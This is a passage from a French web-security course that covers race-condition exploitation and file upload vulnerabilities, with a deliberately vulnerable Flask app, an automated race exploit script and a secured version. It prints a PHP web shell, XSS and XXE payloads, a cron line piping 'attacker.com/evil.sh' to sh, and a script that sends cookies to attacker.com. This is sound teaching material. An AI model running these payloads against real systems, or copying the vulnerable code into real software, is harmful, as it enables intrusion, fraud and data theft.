- From Account: 1 (Alice - $1000)
- To Account: 2 (Bob)
- Amount: $100
- Cliquer "[ALERTE] Race Attack (10x)"

**Résultat attendu :** 1 transfer de $100
**Résultat réel :** 5-10 transfers de $100 = $500-1000 transférés !

**[OK] Race condition exploitée !**

---

**4. Test Attack 2 - Coupon Reuse :**

- Coupon: SAVE50
- User ID: 1
- Cliquer "[ALERTE] Race Attack (10x)"

**Résultat attendu :** 1 utilisation de coupon
**Résultat réel :** 5-10 utilisations = $250-500 de discount !

**[OK] Single-use coupon utilisé plusieurs fois !**

---

**5. Test Attack 3 - Vote Limit Bypass :**

- User ID: 1
- Post ID: 100
- Cliquer "[ALERTE] Race Attack (20x)"

**Résultat attendu :** 10 votes max
**Résultat réel :** 15-20 votes !

**[OK] Limite contournée !**

---

**6. Script d'exploitation automatisé :**

```python
# exploit_race_condition.py
import requests
import asyncio
import aiohttp
from concurrent.futures import ThreadPoolExecutor

BASE_URL = "http://localhost:5000"

print("=" * 80)
print("RACE CONDITION - AUTOMATED EXPLOITATION")
print("=" * 80)

# Test 1: Double Withdrawal
print("\n1⃣  ATTACK 1: Double Withdrawal (TOCTOU)")
print("-" * 80)

# Check initial balance
response = requests.get(f"{BASE_URL}/api/balance/1")
initial_balance = response.json()['balance']
print(f"Initial balance (Alice): ${initial_balance:.2f}")

# Launch parallel transfers
def transfer():
    return requests.post(f"{BASE_URL}/api/transfer",
                        json={
                            "from_account": 1,
                            "to_account": 2,
                            "amount": 100
                        })

with ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(transfer) for _ in range(10)]
    results = [f.result() for f in futures]

successful = sum(1 for r in results if r.status_code == 200)

# Check final balance
response = requests.get(f"{BASE_URL}/api/balance/1")
final_balance = response.json()['balance']

print(f"Successful transfers: {successful}")
print(f"Final balance (Alice): ${final_balance:.2f}")
print(f"Amount transferred: ${initial_balance - final_balance:.2f}")

if successful > 1:
    print(f"[OK] RACE CONDITION EXPLOITED!")
    print(f"   Expected: $100 transferred")
    print(f"   Actual: ${initial_balance - final_balance:.2f} transferred")
    print(f"   Profit: ${initial_balance - final_balance - 100:.2f}")

# Test 2: Coupon Reuse
print("\n2⃣  ATTACK 2: Coupon Reuse (Check-Then-Act)")
print("-" * 80)

def use_coupon():
    return requests.post(f"{BASE_URL}/api/coupon",
                        json={
                            "code": "SAVE20",
                            "user_id": 2
                        })

with ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(use_coupon) for _ in range(10)]
    results = [f.result() for f in futures]

successful = sum(1 for r in results if r.status_code == 200)

print(f"Successful coupon uses: {successful}")

if successful > 1:
    print(f"[OK] RACE CONDITION EXPLOITED!")
    print(f"   Expected: 1 use ($20 discount)")
    print(f"   Actual: {successful} uses (${successful * 20} discount)")
    print(f"   Fraud: ${(successful - 1) * 20}")

# Test 3: Vote Limit Bypass
print("\n3⃣  ATTACK 3: Vote Limit Bypass")
print("-" * 80)

def vote():
    return requests.post(f"{BASE_URL}/api/vote",
                        json={
                            "user_id": 3,
                            "post_id": 200
                        })

with ThreadPoolExecutor(max_workers=20) as executor:
    futures = [executor.submit(vote) for _ in range(20)]
    results = [f.result() for f in futures]

successful = sum(1 for r in results if r.status_code == 200)

print(f"Successful votes: {successful}")

if successful > 10:
    print(f"[OK] RACE CONDITION EXPLOITED!")
    print(f"   Expected: 10 votes max")
    print(f"   Actual: {successful} votes")
    print(f"   Bypassed limit by: {successful - 10} votes")

print("\n" + "=" * 80)
print("EXPLOITATION COMPLETED")
print("=" * 80)
```

**Exécuter :**

```bash
python exploit_race_condition.py
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# race_condition_secure.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import sqlite3
import threading
from datetime import datetime
from contextlib import contextmanager

app = Flask(__name__)
CORS(app)

DB_FILE = 'bank_race_secure.db'

# [OK] Lock global pour synchronisation
db_lock = threading.Lock()

# [OK] Context manager pour transactions atomiques
@contextmanager
def get_db_connection():
    """
    [OK] Connection avec transaction automatique
    """
    conn = sqlite3.connect(DB_FILE, 
                          timeout=10.0,
                          isolation_level='IMMEDIATE')  # [OK] Lock immédiat
    conn.row_factory = sqlite3.Row
    try:
        yield conn
        conn.commit()  # [OK] Commit automatique
    except Exception as e:
        conn.rollback()  # [OK] Rollback en cas d'erreur
        raise e
    finally:
        conn.close()

# [OK] ROUTE SÉCURISÉE 1 : Transfer avec transaction
@app.route('/api/transfer', methods=['POST'])
def transfer_secure():
    """
    [OK] SÉCURISÉ : Transaction atomique + Lock
    """
    data = request.json
    from_account = data.get('from_account')
    to_account = data.get('to_account')
    amount = data.get('amount')
    
    # [OK] Lock pour éviter race conditions
    with db_lock:
        with get_db_connection() as conn:
            cursor = conn.cursor()
            
            # [OK] SELECT FOR UPDATE : Lock la ligne
            cursor.execute('''
                SELECT balance FROM accounts 
                WHERE id = ?
            ''', (from_account,))
            
            sender = cursor.fetchone()
            
            if not sender or sender['balance'] < amount:
                raise ValueError('Insufficient funds')
            
            # [OK] ATOMIQUE : Check et Update dans même transaction
            cursor.execute('''
                UPDATE accounts 
                SET balance = balance - ? 
                WHERE id = ? 
                AND balance >= ?
            ''', (amount, from_account, amount))
            
            if cursor.rowcount == 0:
                raise ValueError('Insufficient funds')
            
            cursor.execute('''
                UPDATE accounts 
                SET balance = balance + ? 
                WHERE id = ?
            ''', (amount, to_account))
            
            cursor.execute('''
                INSERT INTO transactions (from_account, to_account, amount)
                VALUES (?, ?, ?)
            ''', (from_account, to_account, amount))
            
            # Get new balance
            cursor.execute('SELECT balance FROM accounts WHERE id = ?', (from_account,))
            new_balance = cursor.fetchone()['balance']
    
    return jsonify({
        'success': True,
        'message': f'Transferred ${amount}',
        'new_balance': new_balance
    })

# [OK] ROUTE SÉCURISÉE 2 : Coupon avec UNIQUE constraint
@app.route('/api/coupon', methods=['POST'])
def use_coupon_secure():
    """
    [OK] SÉCURISÉ : Atomic update avec WHERE condition
    """
    data = request.json
    code = data.get('code')
    user_id = data.get('user_id')
    
    with db_lock:
        with get_db_connection() as conn:
            cursor = conn.cursor()
            
            # [OK] ATOMIQUE : Update seulement si used=0
            cursor.execute('''
                UPDATE coupons 
                SET used = 1, 
                    used_by = ?, 
                    used_at = ?
                WHERE code = ? 
                AND used = 0
            ''', (user_id, datetime.now(), code))
            
            if cursor.rowcount == 0:
                # Coupon déjà utilisé ou inexistant
                cursor.execute('SELECT * FROM coupons WHERE code = ?', (code,))
                coupon = cursor.fetchone()
                
                if not coupon:
                    raise ValueError('Invalid coupon')
                else:
                    raise ValueError('Coupon already used')
            
            # Get coupon info
            cursor.execute('SELECT discount FROM coupons WHERE code = ?', (code,))
            discount = cursor.fetchone()['discount']
            
            # Apply discount
            cursor.execute('''
                UPDATE accounts 
                SET balance = balance + ?
                WHERE id = ?
            ''', (discount, user_id))
    
    return jsonify({
        'success': True,
        'message': f'Applied discount ${discount}',
        'discount': discount
    })

# [OK] ROUTE SÉCURISÉE 3 : Vote avec counter atomique
@app.route('/api/vote', methods=['POST'])
def vote_secure():
    """
    [OK] SÉCURISÉ : Vérification dans la même transaction
    """
    data = request.json
    user_id = data.get('user_id')
    post_id = data.get('post_id')
    
    with db_lock:
        with get_db_connection() as conn:
            cursor = conn.cursor()
            
            # [OK] Count et Insert dans même transaction
            cursor.execute('''
                SELECT COUNT(*) as count 
                FROM votes 
                WHERE user_id = ? 
                AND date(timestamp) = date('now')
            ''', (user_id,))
            
            votes_today = cursor.fetchone()['count']
            
            if votes_today >= 10:
                raise ValueError('Daily limit reached')
            
            # [OK] Insert immédiatement (pas de window)
            cursor.execute('''
                INSERT INTO votes (user_id, post_id)
                VALUES (?, ?)
            ''', (user_id, post_id))
    
    return jsonify({
        'success': True,
        'message': 'Vote recorded',
        'votes_today': votes_today + 1
    })

# [OK] Error handler
@app.errorhandler(ValueError)
def handle_value_error(e):
    return jsonify({'success': False, 'error': str(e)}), 400

if __name__ == '__main__':
    print("[SECURITE]  Race Condition SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protections :")
    print("   1. Threading locks")
    print("   2. Database transactions (IMMEDIATE isolation)")
    print("   3. Atomic operations (UPDATE WHERE)")
    print("   4. No time window between check and act")
    print("   5. SELECT FOR UPDATE (row-level locking)")
    app.run(debug=False, port=5001, threaded=True)
```

---

## [GRAPHIQUE] RÉCAPITULATIF RACE CONDITIONS

### [OK] Protections essentielles

| Protection | Efficacité | Complexité |
|-----------|-----------|-----------|
| Database Transactions | ***** | [ATTENTION] Moyen |
| Threading Locks | ***** | [OK] Facile |
| Atomic Operations | ***** | [OK] Facile |
| SELECT FOR UPDATE | ***** | [ATTENTION] Moyen |
| Optimistic Locking | **** | [ATTENTION] Difficile |
| Redis Distributed Locks | ***** | [ATTENTION] Difficile |

---

### [X] Erreurs critiques

- [X] Check-Then-Act sans atomicité
- [X] Pas de synchronisation multi-threads
- [X] Transactions trop longues
- [X] Read-Modify-Write non atomique
- [X] Pas de timeout sur locks
- [X] Isolation level trop faible

---

### [OBJECTIF] Checklist complète

```python
[OK] Transactions database avec IMMEDIATE isolation
[OK] Locks threading pour ressources partagées
[OK] UPDATE avec WHERE condition (atomic check-and-set)
[OK] SELECT FOR UPDATE pour lire et verrouiller
[OK] Pas de time.sleep() entre check et act
[OK] Optimistic locking avec version numbers
[OK] Idempotency tokens pour requêtes
[OK] Rate limiting côté serveur
[OK] Test de charge avec concurrence élevée
[OK] Monitoring des deadlocks
```

---

**Prêt pour File Upload Vulnerabilities ?** [SORTIE]

# 21. FILE UPLOAD VULNERABILITIES

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce qu'une File Upload Vulnerability ?

**Définition :**
Vulnérabilité permettant à un attaquant d'**uploader des fichiers malveillants** sur un serveur en contournant les validations, conduisant à une **Remote Code Execution (RCE)**, vol de données, défacement, ou déni de service.

**Analogie simple :**

Imagine une boîte aux lettres d'entreprise :
- Utilisation normale : Recevoir des courriers, documents légitimes
- Attaque : Quelqu'un envoie une bombe par la poste
- Sans contrôle : La bombe explose dans le bâtiment
- Avec contrôle : Scanner détecte et rejette les objets dangereux

-> File upload sans validation = accepter n'importe quoi !

---

### Types d'attaques File Upload

#### 1. **Remote Code Execution (RCE)**

**Principe :** Upload un fichier exécutable (PHP, JSP, ASPX) et l'exécuter sur le serveur.

**Exemple PHP :**

```php
# shell.php
<?php system($_GET['cmd']); ?>
```

**Exploitation :**

```
1. Upload shell.php
2. Accès: http://site.com/uploads/shell.php?cmd=whoami
3. Résultat: www-data
-> RCE complet !
```

---

#### 2. **Stored XSS via File Upload**

**Principe :** Upload HTML/SVG contenant du JavaScript.

**Exemple SVG :**

```xml
<!-- malicious.svg -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    alert(document.cookie);
  </script>
</svg>
```

**Exploitation :**

```
1. Upload malicious.svg
2. Victime visite: http://site.com/uploads/malicious.svg
3. JavaScript exécuté dans le contexte du domaine
-> Vol de cookies !
```

---

#### 3. **Path Traversal via Filename**

**Principe :** Filename malveillant pour écrire dans des répertoires arbitraires.

**Exemple :**

```
Filename: ../../etc/cron.d/evil
Content: * * * * * root curl attacker.com/evil.sh | sh
```

**Résultat :** Backdoor permanent via cron !

---

#### 4. **Denial of Service (DoS)**

**a) Zip Bomb :**

```
Fichier: 42.zip (42 KB)
Décompressé: 4.5 PB (petabytes)
-> Crash serveur !
```

**b) Pixel Flood (Image Bomb) :**

```
Image: 1x1 pixel apparent
Réel: 1,000,000 x 1,000,000 pixels
-> Consommation mémoire excessive !
```

**c) XML Bomb (Billion Laughs) :**

```xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;">
  <!-- ... -->
  <!ENTITY lol9 "&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

---

#### 5. **Malware Distribution**

**Principe :** Upload malware et distribuer via le site compromis.

**Exemples :**
- Ransomware (`.exe`)
- Trojans
- Phishing pages (`.html`)
- Fake PDFs avec exploits

---

#### 6. **Content-Type Manipulation**

**Principe :** Changer le Content-Type pour bypass validation.

```http
POST /upload HTTP/1.1
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg    # [X] Mentir sur le type

<?php system($_GET['cmd']); ?>
```

---

#### 7. **Double Extension**

**Principe :** Exploiter parsing d'extensions.

```
shell.php.jpg    # Serveur lit .jpg
shell.jpg.php    # Apache lit .php
shell.php%00.jpg # Null byte injection (ancien)
shell.php.....   # Trailing dots (Windows)
shell.php::$DATA # NTFS Alternate Data Streams
```

---

#### 8. **Metadata Injection**

**Principe :** Code malveillant dans métadonnées EXIF.

```php
# Embedded in EXIF comment
<?php system($_GET['cmd']); ?>
```

---

### Techniques de bypass

| Technique | Exemple | But |
|-----------|---------|-----|
| **Extension case** | `shell.PhP` | Bypass blacklist |
| **Double extension** | `shell.php.jpg` | Confuse parser |
| **Null byte** | `shell.php%00.jpg` | Truncate string |
| **MIME spoofing** | `Content-Type: image/png` | Bypass type check |
| **Magic bytes** | Add `GIF89a` header | Fake file signature |
| **Polyglot files** | Valid JPG + PHP | Execute as both |
| **Alternate extensions** | `.phtml`, `.php5`, `.phar` | Bypass blacklist |
| **Unicode** | `shell.phρ` (rho) | Look-alike chars |

---

### Cas réels

**1. Facebook (2013) - XXE via Image Upload**

**Faille :** Upload d'images SVG sans validation XML

```xml
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>&xxe;</svg>
```

**Impact :** Lecture fichiers serveur

**Bounty :** $30,000

---

**2. ImageTragick (CVE-2016-3714)**

**Faille :** ImageMagick RCE via upload d'images malveillantes

```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
```

**Impact :** RCE sur millions de serveurs

---

**3. WordPress (2019) - Arbitrary File Upload**

**Faille :** Validation faible des images

**Exploitation :** Upload `.php` déguisé en `.jpg`

**Impact :** 400+ millions de sites vulnérables

---

**4. GitHub (2012) - Path Traversal**

**Faille :** Filename avec `../`

**Exploitation :** Écriture dans répertoires arbitraires

---

### Impact des File Upload Vulnerabilities

| Impact | Gravité | Description |
|--------|---------|-------------|
| **RCE** | CRITIQUE | Contrôle total serveur |
| **Data Breach** | CRITIQUE | Vol de données sensibles |
| **Defacement** | ÉLEVÉ | Modification site |
| **Malware Distribution** | CRITIQUE | Infecter visiteurs |
| **DoS** | ÉLEVÉ | Crash serveur |
| **XSS** | ÉLEVÉ | Vol de sessions |
| **Backdoor** | CRITIQUE | Accès persistant |

---

## [CODE] EXERCICE 23 : FILE UPLOAD VULNERABILITIES

### Objectif

Créer une application de partage de fichiers avec :
- Upload d'images de profil
- Upload de documents
- Upload de fichiers multiples
- Galerie publique
- Démonstration de toutes les vulnérabilités
- Protection complète

---

### PARTIE A : APPLICATION VULNÉRABLE

```python
# file_upload_vulnerable.py
from flask import Flask, request, jsonify, render_template_string, send_from_directory
from flask_cors import CORS
import os
import time
from werkzeug.utils import secure_filename

app = Flask(__name__)
CORS(app)

# [X] Configuration dangereuse
UPLOAD_FOLDER = 'uploads'
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'}  # [X] Trop permissif

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = 50 * 1024 * 1024  # 50MB

# Créer dossier uploads
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def allowed_file(filename):
    """
    [X] VULNÉRABLE : Validation faible
    """
    # [X] Check seulement l'extension
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>File Upload Demo</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1400px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input[type="file"] {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        input[type="text"] {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            margin-bottom: 10px;
        }
        button:hover { transform: translateY(-2px); }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 150px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        .file-list {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            border-radius: 5px;
            margin-top: 15px;
            max-height: 300px;
            overflow-y: auto;
        }
        .file-item {
            background: rgba(255,255,255,0.1);
            padding: 10px;
            margin: 5px 0;
            border-radius: 5px;
        }
        .file-item a {
            color: #4ade80;
            text-decoration: none;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attacks h2 { color: #ff4444; margin-bottom: 15px; }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        code {
            background: rgba(0,0,0,0.5);
            padding: 2px 6px;
            border-radius: 3px;
            word-break: break-all;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[SORTIE] File Sharing Platform</h1>
            <p>File Upload Vulnerability Showcase</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - MULTIPLES FILE UPLOAD VULNERABILITIES
        </div>
        
        <div class="grid">
            <!-- PROFILE PICTURE -->
            <div class="card">
                <h3>[UTILISATEUR] Upload Profile Picture</h3>
                <form id="profile-form" enctype="multipart/form-data">
                    <input type="file" name="file" id="profile-file" accept="image/*">
                    <button type="button" onclick="uploadProfile()">Upload</button>
                </form>
            </div>
            
            <!-- DOCUMENT UPLOAD -->
            <div class="card">
                <h3>[FICHIER] Upload Document</h3>
                <form id="document-form" enctype="multipart/form-data">
                    <input type="file" name="file" id="document-file">
                    <button type="button" onclick="uploadDocument()">Upload</button>
                </form>
            </div>
            
            <!-- CUSTOM FILENAME -->
            <div class="card">
                <h3>[EDIT] Upload with Custom Name</h3>
                <input type="text" id="custom-filename" placeholder="Custom filename (e.g., myfile.jpg)">
                <input type="file" id="custom-file">
                <button onclick="uploadCustom()">Upload</button>
            </div>
        </div>
        
        <div class="card">
            <h3>[DOSSIER] Uploaded Files</h3>
            <button onclick="listFiles()">Refresh List</button>
            <div class="file-list" id="file-list">Loading...</div>
        </div>
        
        <div class="card">
            <h3>[GRAPHIQUE] Output Log</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] File Upload Attack Vectors</h2>
            
            <div class="attack-item">
                <h4>1. PHP Web Shell Upload</h4>
                <p>Upload: <code>shell.php</code> containing <code><?php system($_GET['cmd']); ?></code></p>
                <p>Access: <code>http://localhost:5000/uploads/shell.php?cmd=whoami</code></p>
                <button onclick="generatePHPShell()">Generate PHP Shell</button>
            </div>
            
            <div class="attack-item">
                <h4>2. Stored XSS via SVG</h4>
                <p>Upload SVG with embedded JavaScript</p>
                <button onclick="generateXSSSVG()">Generate Malicious SVG</button>
            </div>
            
            <div class="attack-item">
                <h4>3. Path Traversal</h4>
                <p>Filename: <code>../../../evil.txt</code></p>
                <button onclick="testPathTraversal()">Test Path Traversal</button>
            </div>
            
            <div class="attack-item">
                <h4>4. Double Extension</h4>
                <p>Upload: <code>shell.php.jpg</code></p>
                <button onclick="testDoubleExtension()">Test Double Extension</button>
            </div>
            
            <div class="attack-item">
                <h4>5. Large File DoS</h4>
                <p>Upload very large file to exhaust resources</p>
                <button onclick="testLargeFile()">Generate Large File (Warning: 40MB)</button>
            </div>
            
            <div class="attack-item">
                <h4>6. HTML with JavaScript</h4>
                <p>Upload HTML file with malicious script</p>
                <button onclick="generateMaliciousHTML()">Generate Malicious HTML</button>
            </div>
        </div>
    </div>
    
    <script>
        async function uploadProfile() {
            const formData = new FormData();
            const fileInput = document.getElementById('profile-file');
            const output = document.getElementById('output');
            
            if (!fileInput.files[0]) {
                output.textContent = 'Please select a file';
                return;
            }
            
            formData.append('file', fileInput.files[0]);
            
            try {
                const response = await fetch('/api/upload/profile', {
                    method: 'POST',
                    body: formData
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.success) {
                    listFiles();
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function uploadDocument() {
            const formData = new FormData();
            const fileInput = document.getElementById('document-file');
            const output = document.getElementById('output');
            
            if (!fileInput.files[0]) {
                output.textContent = 'Please select a file';
                return;
            }
            
            formData.append('file', fileInput.files[0]);
            
            try {
                const response = await fetch('/api/upload/document', {
                    method: 'POST',
                    body: formData
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.success) {
                    listFiles();
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function uploadCustom() {
            const formData = new FormData();
            const fileInput = document.getElementById('custom-file');
            const filename = document.getElementById('custom-filename').value;
            const output = document.getElementById('output');
            
            if (!fileInput.files[0]) {
                output.textContent = 'Please select a file';
                return;
            }
            
            // Créer nouveau file avec nom personnalisé
            const file = new File([fileInput.files[0]], filename || fileInput.files[0].name, {
                type: fileInput.files[0].type
            });
            
            formData.append('file', file);
            
            try {
                const response = await fetch('/api/upload/custom', {
                    method: 'POST',
                    body: formData
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.success) {
                    listFiles();
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function listFiles() {
            const fileList = document.getElementById('file-list');
            
            try {
                const response = await fetch('/api/files');
                const data = await response.json();
                
                if (data.files && data.files.length > 0) {
                    fileList.innerHTML = '';
                    data.files.forEach(file => {
                        const div = document.createElement('div');
                        div.className = 'file-item';
                        div.innerHTML = `
                            <a href="/uploads/${file}" target="_blank">${file}</a>
                            <span style="float: right; color: #888;">${data.sizes[file] || 'N/A'}</span>
                        `;
                        fileList.appendChild(div);
                    });
                } else {
                    fileList.innerHTML = '<p>No files uploaded yet</p>';
                }
            } catch (error) {
                fileList.innerHTML = 'Error loading files';
            }
        }
        
        function generatePHPShell() {
            const phpCode = '<?php system($_GET["cmd"]); ?>';
            const blob = new Blob([phpCode], { type: 'application/x-php' });
            const file = new File([blob], 'shell.php', { type: 'application/x-php' });
            
            const formData = new FormData();
            formData.append('file', file);
            
            fetch('/api/upload/document', {
                method: 'POST',
                body: formData
            })
            .then(r => r.json())
            .then(data => {
                document.getElementById('output').textContent = 
                    '[DANGER] PHP Shell uploaded!\\n\\n' + 
                    JSON.stringify(data, null, 2) + '\\n\\n' +
                    'Access: http://localhost:5000/uploads/shell.php?cmd=whoami';
                listFiles();
            });
        }
        
        function generateXSSSVG() {
            const svgCode = `<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS via SVG! Cookie: ' + document.cookie)</script>
</svg>`;
            const blob = new Blob([svgCode], { type: 'image/svg+xml' });
            const file = new File([blob], 'xss.svg', { type: 'image/svg+xml' });
            
            const formData = new FormData();
            formData.append('file', file);
            
            fetch('/api/upload/profile', {
                method: 'POST',
                body: formData
            })
            .then(r => r.json())
            .then(data => {
                document.getElementById('output').textContent = 
                    '[DANGER] Malicious SVG uploaded!\\n\\n' + 
                    JSON.stringify(data, null, 2);
                listFiles();
            });
        }
        
        function testPathTraversal() {
            const content = 'This file was written via path traversal!';
            const blob = new Blob([content], { type: 'text/plain' });
            const file = new File([blob], '../../../evil.txt', { type: 'text/plain' });
            
            const formData = new FormData();
            formData.append('file', file);
            
            fetch('/api/upload/custom', {
                method: 'POST',
                body: formData
            })
            .then(r => r.json())
            .then(data => {
                document.getElementById('output').textContent = 
                    '[DANGER] Path Traversal attempt!\\n\\n' + 
                    JSON.stringify(data, null, 2);
            });
        }
        
        function testDoubleExtension() {
            const phpCode = '<?php system($_GET["cmd"]); ?>';
            const blob = new Blob([phpCode], { type: 'image/jpeg' });
            const file = new File([blob], 'shell.php.jpg', { type: 'image/jpeg' });
            
            const formData = new FormData();
            formData.append('file', file);
            
            fetch('/api/upload/document', {
                method: 'POST',
                body: formData
            })
            .then(r => r.json())
            .then(data => {
                document.getElementById('output').textContent = 
                    '[DANGER] Double extension file uploaded!\\n\\n' + 
                    JSON.stringify(data, null, 2);
                listFiles();
            });
        }
        
        function testLargeFile() {
            // Générer fichier 40MB
            const size = 40 * 1024 * 1024;
            const blob = new Blob([new ArrayBuffer(size)], { type: 'application/octet-stream' });
            const file = new File([blob], 'large_file.bin', { type: 'application/octet-stream' });
            
            document.getElementById('output').textContent = 'Uploading 40MB file...';
            
            const formData = new FormData();
            formData.append('file', file);
            
            fetch('/api/upload/document', {
                method: 'POST',
                body: formData
            })
            .then(r => r.json())
            .then(data => {
                document.getElementById('output').textContent = 
                    '[DANGER] Large file uploaded!\\n\\n' + 
                    JSON.stringify(data, null, 2);
            });
        }
        
        function generateMaliciousHTML() {
            const htmlCode = `<!DOCTYPE html>
<html>
<head><title>Malicious Page</title></head>
<body>
    <h1>You have been hacked!</h1>
    <script>
        // Steal cookies
        fetch('https://attacker.com/steal?cookie=' + document.cookie);
        
        // Redirect
        setTimeout(() => {
            window.location = 'https://attacker.com/phishing';
        }, 3000);
    </script>
</body>
</html>`;
            const blob = new Blob([htmlCode], { type: 'text/html' });
            const file = new File([blob], 'malicious.html', { type: 'text/html' });
            
            const formData = new FormData();
            formData.append('file', file);
            
            fetch('/api/upload/document', {
                method: 'POST',
                body: formData
            })
            .then(r => r.json())
            .then(data => {
                document.getElementById('output').textContent = 
                    '[DANGER] Malicious HTML uploaded!\\n\\n' + 
                    JSON.stringify(data, null, 2);
                listFiles();
            });
        }
        
        // Initial file list
        listFiles();
    </script>
</body>
</html>
    ''')

# [X] ROUTE VULNÉRABLE 1 : Profile Picture Upload
@app.route('/api/upload/profile', methods=['POST'])
def upload_profile_vulnerable():
    """
    [X] VULNÉRABLE : Validation faible
    """
    if 'file' not in request.files:
        return jsonify({'error': 'No file part'}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({'error': 'No selected file'}), 400
    
    # [X] ERREUR 1 : Validation seulement sur extension
    if file and allowed_file(file.filename):
        # [X] ERREUR 2 : secure_filename mais pas assez
        filename = secure_filename(file.filename)
        
        # [X] ERREUR 3 : Pas de validation du contenu
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        file.save(file_path)
        
        file_size = os.path.getsize(file_path)
        
        return jsonify({
            'success': True,
            'message': 'File uploaded successfully',
            'filename': filename,
            'size': file_size,
            'url': f'/uploads/{filename}'
        })
    
    return jsonify({'error': 'File type not allowed'}), 400

# [X] ROUTE VULNÉRABLE 2 : Document Upload
@app.route('/api/upload/document', methods=['POST'])
def upload_document_vulnerable():
    """
    [X] VULNÉRABLE : Accepte trop de types
    """
    if 'file' not in request.files:
        return jsonify({'error': 'No file part'}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({'error': 'No selected file'}), 400
    
    # [X] ERREUR : Pas de vérification du type réel
    filename = secure_filename(file.filename)
    file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    file.save(file_path)
    
    return jsonify({
        'success': True,
        'message': 'Document uploaded',
        'filename': filename,
        'url': f'/uploads/{filename}'
    })

# [X] ROUTE VULNÉRABLE 3 : Custom Filename
@app.route('/api/upload/custom', methods=['POST'])
def upload_custom_vulnerable():
    """
    [X] VULNÉRABLE : Filename contrôlé par utilisateur
    """
    if 'file' not in request.files:
        return jsonify({'error': 'No file part'}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({'error': 'No selected file'}), 400
    
    # [X] ERREUR CRITIQUE : Utilise filename directement
    # secure_filename() ne protège pas contre tout
    filename = file.filename  # [X] DANGEREUX !
    
    file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    # [X] Path traversal possible
    file.save(file_path)
    
    return jsonify({
        'success': True,
        'message': 'File uploaded with custom name',
        'filename': filename,
        'url': f'/uploads/{filename}'
    })

# [X] ROUTE VULNÉRABLE : List Files
@app.route('/api/files')
def list_files_vulnerable():
    """Liste les fichiers uploadés"""
    try:
        files = os.listdir(app.config['UPLOAD_FOLDER'])
        sizes = {}
        
        for file in files:
            file_path = os.path.join(app.config['UPLOAD_FOLDER'], file)
            size = os.path.getsize(file_path)
            sizes[file] = f"{size / 1024:.2f} KB"
        
        return jsonify({
            'files': files,
            'sizes': sizes
        })
    except Exception as e:
